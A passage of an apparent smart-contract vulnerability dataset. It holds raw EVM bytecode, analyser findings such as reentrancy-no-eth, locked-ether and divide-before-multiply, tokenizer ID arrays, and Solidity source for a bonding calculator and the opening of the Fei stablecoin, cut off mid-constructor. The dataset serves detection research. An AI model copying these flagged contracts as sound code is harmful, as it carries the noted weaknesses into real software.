757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000613df9602183613431565b9150613e0482613d9d565b604082019050919050565b60006020820190508181036000830152613e2881613dec565b9050919050565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b6000613e8b603883613431565b9150613e9682613e2f565b604082019050919050565b60006020820190508181036000830152613eba81613e7e565b9050919050565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b6000613f1d603183613431565b9150613f2882613ec1565b604082019050919050565b60006020820190508181036000830152613f4c81613f10565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613f89602083613431565b9150613f9482613f53565b602082019050919050565b60006020820190508181036000830152613fb881613f7c565b9050919050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b600061401b602f83613431565b915061402682613fbf565b604082019050919050565b6000602082019050818103600083015261404a8161400e565b9050919050565b7f507265616c65206d7573742062652061637469766520746f206d696e74204e6660008201527f7400000000000000000000000000000000000000000000000000000000000000602082015250565b60006140ad602183613431565b91506140b882614051565b604082019050919050565b600060208201905081810360008301526140dc816140a0565b9050919050565b7f50726573616c65206173206265656e20636c6f73656400000000000000000000600082015250565b6000614119601683613431565b9150614124826140e3565b602082019050919050565b600060208201905081810360008301526141488161410c565b9050919050565b7f507572636861736520776f756c6420657863656564206d617820737570706c7960008201527f20647572696e672070726573616c650000000000000000000000000000000000602082015250565b60006141ab602f83613431565b91506141b68261414f565b604082019050919050565b600060208201905081810360008301526141da8161419e565b9050919050565b7f45746865722076616c75652073656e74206973206e6f7420636f727265637400600082015250565b6000614217601f83613431565b9150614222826141e1565b602082019050919050565b600060208201905081810360008301526142468161420a565b9050919050565b7f596f752063616e2774206d696e7420616e796d6f726500000000000000000000600082015250565b6000614283601683613431565b915061428e8261424d565b602082019050919050565b600060208201905081810360008301526142b281614276565b9050919050565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b6000614315602983613431565b9150614320826142b9565b604082019050919050565b6000602082019050818103600083015261434481614308565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600063ffffffff82169050919050565b60006143c4826143a9565b915063ffffffff82036143da576143d961437a565b5b600182019050919050565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b6000614441602a83613431565b915061444c826143e5565b604082019050919050565b6000602082019050818103600083015261447081614434565b9050919050565b7f53616c65206d7573742062652061637469766520746f206d696e74204e667400600082015250565b60006144ad601f83613431565b91506144b882614477565b602082019050919050565b600060208201905081810360008301526144dc816144a0565b9050919050565b7f507572636861736520776f756c6420657863656564206d617820737570706c7960008201527f206f66204e667473000000000000000000000000000000000000000000000000602082015250565b600061453f602883613431565b915061454a826144e3565b604082019050919050565b6000602082019050818103600083015261456e81614532565b9050919050565b7f596f752063616e2774206d696e74206d6f7265207468616e20323020746f6b6560008201527f6e20696e207468652073616d65207472616e73616374696f6e00000000000000602082015250565b60006145d1603983613431565b91506145dc82614575565b604082019050919050565b60006020820190508181036000830152614600816145c4565b9050919050565b7f50726963652063616e2774206265206c6f776572207468616e20300000000000600082015250565b600061463d601b83613431565b915061464882614607565b602082019050919050565b6000602082019050818103600083015261466c81614630565b9050919050565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b60006146a9601983613431565b91506146b482614673565b602082019050919050565b600060208201905081810360008301526146d88161469c565b9050919050565b7f41697264726f7020776f756c6420657863656564206d617820737570706c792060008201527f6f66204e66747300000000000000000000000000000000000000000000000000602082015250565b600061473b602783613431565b9150614746826146df565b604082019050919050565b6000602082019050818103600083015261476a8161472e565b9050919050565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b60006147cd602f83613431565b91506147d882614771565b604082019050919050565b600060208201905081810360008301526147fc816147c0565b9050919050565b600081905092915050565b60008190508160005260206000209050919050565b6000815461483081613cda565b61483a8186614803565b94506001821660008114614855576001811461486657614899565b60ff19831686528186019350614899565b61486f8561480e565b60005b8381101561489157815481890152600182019150602081019050614872565b838801955050505b50505092915050565b60006148ad82613426565b6148b78185614803565b93506148c7818560208601613442565b80840191505092915050565b60006148df8285614823565b91506148eb82846148a2565b91508190509392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614953602683613431565b915061495e826148f7565b604082019050919050565b6000602082019050818103600083015261498281614946565b9050919050565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b60006149e5602c83613431565b91506149f082614989565b604082019050919050565b60006020820190508181036000830152614a14816149d8565b9050919050565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b6000614a77602983613431565b9150614a8282614a1b565b604082019050919050565b60006020820190508181036000830152614aa681614a6a565b9050919050565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614b09602483613431565b9150614b1482614aad565b604082019050919050565b60006020820190508181036000830152614b3881614afc565b9050919050565b6000614b4a826134e1565b9150614b55836134e1565b925082821015614b6857614b6761437a565b5b828203905092915050565b6000614b7e826134e1565b9150614b89836134e1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614bbe57614bbd61437a565b5b828201905092915050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b6000614bff601783614803565b9150614c0a82614bc9565b601782019050919050565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b6000614c4b601183614803565b9150614c5682614c15565b601182019050919050565b6000614c6c82614bf2565b9150614c7882856148a2565b9150614c8382614c3e565b9150614c8f82846148a2565b91508190509392505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614cd1601b83613431565b9150614cdc82614c9b565b602082019050919050565b60006020820190508181036000830152614d0081614cc4565b9050919050565b6000614d12826134e1565b9150614d1d836134e1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614d5657614d5561437a565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614d9b826134e1565b9150614da6836134e1565b925082614db657614db5614d61565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614e1d602183613431565b9150614e2882614dc1565b604082019050919050565b60006020820190508181036000830152614e4c81614e10565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614e88816134e1565b82525050565b6000614e9a8383614e7f565b60208301905092915050565b6000602082019050919050565b6000614ebe82614e53565b614ec88185614e5e565b9350614ed383614e6f565b8060005b83811015614f04578151614eeb8882614e8e565b9750614ef683614ea6565b925050600181019050614ed7565b5085935050505092915050565b6000608082019050614f266000830187613576565b614f3360208301866135a0565b8181036040830152614f458185614eb3565b9050614f5460608301846133fc565b95945050505050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b6000614f93601e83613431565b9150614f9e82614f5d565b602082019050919050565b60006020820190508181036000830152614fc281614f86565b9050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b6000615025603283613431565b915061503082614fc9565b604082019050919050565b6000602082019050818103600083015261505481615018565b9050919050565b6000615066826134e1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036150985761509761437a565b5b600182019050919050565b60006150ae826134e1565b91506150b9836134e1565b9250826150c9576150c8614d61565b5b828206905092915050565b60006150df826134e1565b9150600082036150f2576150f161437a565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b6000615133602083613431565b915061513e826150fd565b602082019050919050565b6000602082019050818103600083015261516281615126565b9050919050565b600081519050919050565b600082825260208201905092915050565b600061519082615169565b61519a8185615174565b93506151aa818560208601613442565b6151b381613475565b840191505092915050565b60006080820190506151d36000830187613576565b6151e06020830186613576565b6151ed60408301856135a0565b81810360608301526151ff8184615185565b905095945050505050565b60008151905061521981613397565b92915050565b60006020828403121561523557615234613361565b5b60006152438482850161520a565b91505092915050565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b6000615282602083613431565b915061528d8261524c565b602082019050919050565b600060208201905081810360008301526152b181615275565b9050919050565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b60006152ee601c83613431565b91506152f9826152b8565b602082019050919050565b6000602082019050818103600083015261531d816152e1565b905091905056fea26469706673582212203a002abf2ba7837c6a2a335deb2c5e8cf2381b9c2e86a9da4a157db115b5f71d64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 26976, 2094, 2629, 2546, 2620, 2683, 7011, 22394, 2575, 17788, 14526, 2575, 2475, 14141, 2620, 2620, 27717, 2094, 2683, 16086, 2549, 2063, 2692, 2575, 2063, 2629, 2497, 22025, 2475, 2546, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 3229, 8663, 13181, 2140, 1012, 14017, 1000, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 8626, 1997, 1062, 16429, 21709, 6906, 3206, 1008, 1030, 16475, 8908, 9413, 2278, 2581, 17465, 2512, 1011, 15289, 3468, 19204, 3115, 7375, 1008, 1013, 3206, 2079, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,622
0x956ED18d308207f5E91958969d7279D20eEEB1be
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import './interfaces/IERC20.sol'; import './interfaces/IUniswapV2Pair.sol'; import './libraries/SafeMath.sol'; import './libraries/FullMath.sol'; import './libraries/Babylonian.sol'; import './libraries/BitMath.sol'; import './libraries/FixedPoint.sol'; interface IBondingCalculator { function valuation( address pair_, uint amount_ ) external view returns ( uint _value ); } contract MonasteryBondingCalculator is IBondingCalculator { using FixedPoint for *; using SafeMath for uint; using SafeMath for uint112; address public immutable MONK; constructor( address _MONK ) { require( _MONK != address(0) ); MONK = _MONK; } function getKValue( address _pair ) public view returns( uint k_ ) { uint token0 = IERC20( IUniswapV2Pair( _pair ).token0() ).decimals(); uint token1 = IERC20( IUniswapV2Pair( _pair ).token1() ).decimals(); uint decimals = token0.add( token1 ).sub( IERC20( _pair ).decimals() ); (uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves(); k_ = reserve0.mul(reserve1).div( 10 ** decimals ); } function getTotalValue( address _pair ) public view returns ( uint _value ) { _value = getKValue( _pair ).sqrrt().mul(2); } function valuation( address _pair, uint amount_ ) external view override returns ( uint _value ) { uint totalValue = getTotalValue( _pair ); uint totalSupply = IUniswapV2Pair( _pair ).totalSupply(); _value = totalValue.mul( FixedPoint.fraction( amount_, totalSupply ).decode112with18() ).div( 1e18 ); } function markdown( address _pair ) external view returns ( uint ) { ( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves(); uint reserve; if ( IUniswapV2Pair( _pair ).token0() == MONK ) { reserve = reserve1; } else { reserve = reserve0; } return reserve.mul( 2 * ( 10 ** IERC20( MONK ).decimals() ) ).div( getTotalValue( _pair ) ); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } interface IERC20Mintable { function mint( uint256 amount_ ) external; function mint( address account_, uint256 ammount_ ) external; } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library FullMath { function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; require(h < d, 'FullMath::mulDiv: overflow'); return fullDiv(l, h, d); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library Babylonian { function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library BitMath { function mostSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0, 'BitMath::mostSignificantBit: zero'); if (x >= 0x100000000000000000000000000000000) { x >>= 128; r += 128; } if (x >= 0x10000000000000000) { x >>= 64; r += 64; } if (x >= 0x100000000) { x >>= 32; r += 32; } if (x >= 0x10000) { x >>= 16; r += 16; } if (x >= 0x100) { x >>= 8; r += 8; } if (x >= 0x10) { x >>= 4; r += 4; } if (x >= 0x4) { x >>= 2; r += 2; } if (x >= 0x2) r += 1; } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import './FullMath.sol'; import './BitMath.sol'; import './Babylonian.sol'; library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint256 _x; } uint8 private constant RESOLUTION = 112; uint256 private constant Q112 = 0x10000000000000000000000000000; uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits) // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a uq112x112 into a uint with 18 decimals of precision function decode112with18(uq112x112 memory self) internal pure returns (uint) { return uint(self._x) / 5192296858534827; } function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, 'FixedPoint::fraction: division by zero'); if (numerator == 0) return FixedPoint.uq112x112(0); if (numerator <= uint144(-1)) { uint256 result = (numerator << RESOLUTION) / denominator; require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } else { uint256 result = FullMath.mulDiv(numerator, Q112, denominator); require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } } // square root of a UQ112x112 // lossy between 0/1 and 40 bits function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { if (self._x <= uint144(-1)) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112))); } uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x); safeShiftBits -= safeShiftBits % 2; return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2))); } }
0x608060405234801561001057600080fd5b50600436106100675760003560e01c80634249719f116100505780634249719f146100c8578063490084ef146100f4578063686375491461011a57610067565b806303e83ad41461006c57806332da80a314610090575b600080fd5b610074610140565b604080516001600160a01b039092168252519081900360200190f35b6100b6600480360360208110156100a657600080fd5b50356001600160a01b0316610164565b60408051918252519081900360200190f35b6100b6600480360360408110156100de57600080fd5b506001600160a01b03813516906020013561034e565b6100b66004803603602081101561010a57600080fd5b50356001600160a01b03166103f6565b6100b66004803603602081101561013057600080fd5b50356001600160a01b03166106e3565b7f000000000000000000000000a4e27ea37d18bb0f483779f9e75a6024efa5e73e81565b6000806000836001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156101a257600080fd5b505afa1580156101b6573d6000803e3d6000fd5b505050506040513d60608110156101cc57600080fd5b50805160209182015160408051630dfe168160e01b815290516dffffffffffffffffffffffffffff93841696509290911693506000926001600160a01b037f000000000000000000000000a4e27ea37d18bb0f483779f9e75a6024efa5e73e81169390891692630dfe1681926004808301939192829003018186803b15801561025457600080fd5b505afa158015610268573d6000803e3d6000fd5b505050506040513d602081101561027e57600080fd5b50516001600160a01b03161415610296575080610299565b50815b6103436102a5866106e3565b61033d7f000000000000000000000000a4e27ea37d18bb0f483779f9e75a6024efa5e73e6001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561030157600080fd5b505afa158015610315573d6000803e3d6000fd5b505050506040513d602081101561032b57600080fd5b5051849060ff16600a0a600202610707565b90610767565b93505050505b919050565b60008061035a846106e3565b90506000846001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561039757600080fd5b505afa1580156103ab573d6000803e3d6000fd5b505050506040513d60208110156103c157600080fd5b505190506103ed670de0b6b3a764000061033d6103e66103e188866107a9565b61092b565b8590610707565b95945050505050565b600080826001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561043257600080fd5b505afa158015610446573d6000803e3d6000fd5b505050506040513d602081101561045c57600080fd5b50516040805163313ce56760e01b815290516001600160a01b039092169163313ce56791600480820192602092909190829003018186803b1580156104a057600080fd5b505afa1580156104b4573d6000803e3d6000fd5b505050506040513d60208110156104ca57600080fd5b50516040805163d21220a760e01b8152905160ff90921692506000916001600160a01b0386169163d21220a7916004808301926020929190829003018186803b15801561051657600080fd5b505afa15801561052a573d6000803e3d6000fd5b505050506040513d602081101561054057600080fd5b50516040805163313ce56760e01b815290516001600160a01b039092169163313ce56791600480820192602092909190829003018186803b15801561058457600080fd5b505afa158015610598573d6000803e3d6000fd5b505050506040513d60208110156105ae57600080fd5b50516040805163313ce56760e01b8152905160ff909216925060009161063e916001600160a01b0388169163313ce56791600480820192602092909190829003018186803b1580156105ff57600080fd5b505afa158015610613573d6000803e3d6000fd5b505050506040513d602081101561062957600080fd5b505160ff166106388585610943565b9061099d565b9050600080866001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561067c57600080fd5b505afa158015610690573d6000803e3d6000fd5b505050506040513d60608110156106a657600080fd5b5080516020909101516dffffffffffffffffffffffffffff91821693501690506106d8600a84900a61033d8484610707565b979650505050505050565b600061070160026106fb6106f6856103f6565b6109df565b90610707565b92915050565b60008261071657506000610701565b8282028284828161072357fe5b04146107605760405162461bcd60e51b8152600401808060200182810382526021815260200180610cb06021913960400191505060405180910390fd5b9392505050565b600061076083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610a49565b6107b1610c77565b600082116107f05760405162461bcd60e51b8152600401808060200182810382526026815260200180610c8a6026913960400191505060405180910390fd5b8261080a5750604080516020810190915260008152610701565b71ffffffffffffffffffffffffffffffffffff83116108b157600082607085901b8161083257fe5b0490506001600160e01b03811115610891576040805162461bcd60e51b815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b6040518060200160405280826001600160e01b0316815250915050610701565b60006108cd846e01000000000000000000000000000085610aeb565b90506001600160e01b03811115610891576040805162461bcd60e51b815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b516612725dd1d243ab6001600160e01b039091160490565b600082820183811015610760576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061076083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b80565b60006003821115610a3b5750806000610a036109fc836002610767565b6001610943565b90505b81811015610a3557809150610a2e610a27610a218584610767565b83610943565b6002610767565b9050610a06565b50610349565b811561034957506001919050565b60008183610ad55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a9a578181015183820152602001610a82565b50505050905090810190601f168015610ac75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610ae157fe5b0495945050505050565b6000806000610afa8686610bda565b9150915060008480610b0857fe5b868809905082811115610b1c576001820391505b8083039250848210610b75576040805162461bcd60e51b815260206004820152601a60248201527f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f77000000000000604482015290519081900360640190fd5b6106d8838387610c07565b60008184841115610bd25760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610a9a578181015183820152602001610a82565b505050900390565b6000808060001984860990508385029250828103915082811015610bff576001820391505b509250929050565b60008181038216808381610c1757fe5b049250808581610c2357fe5b049450808160000381610c3257fe5b60028581038087028203028087028203028087028203028087028203028087028203028087028203029586029003909402930460010193909302939093010292915050565b6040805160208101909152600081529056fe4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122019fd1cdfe434826a1ab52f99d7acd8fd584beb37499da6a036c17d11f55be01964736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26976, 2098, 15136, 2094, 14142, 2620, 11387, 2581, 2546, 2629, 2063, 2683, 16147, 27814, 2683, 2575, 2683, 2094, 2581, 22907, 2683, 2094, 11387, 4402, 15878, 2487, 4783, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1019, 1025, 12324, 1005, 1012, 1013, 19706, 1013, 29464, 11890, 11387, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 19706, 1013, 1045, 19496, 26760, 9331, 2615, 2475, 4502, 4313, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 8860, 1013, 3647, 18900, 2232, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 8860, 1013, 2440, 18900, 2232, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 8860, 1013, 26990, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,623
0x956F47F50A910163D8BF957Cf5846D573E7f87CA
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "./IIncentive.sol"; import "./IFei.sol"; import "../refs/CoreRef.sol"; /// @title FEI stablecoin /// @author Fei Protocol contract Fei is IFei, ERC20Burnable, CoreRef { /// @notice get associated incentive contract, 0 address if N/A mapping(address => address) public override incentiveContract; // solhint-disable-next-line var-name-mixedcase bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint256) public nonces; /// @notice Fei token constructor /// @param core Fei Core address to reference constructor(address core) public ERC20("Fei USD", "FEI") CoreRef(core) { uint256 chainId; // solhint-disable-next-line no-inline-assembly assembly { 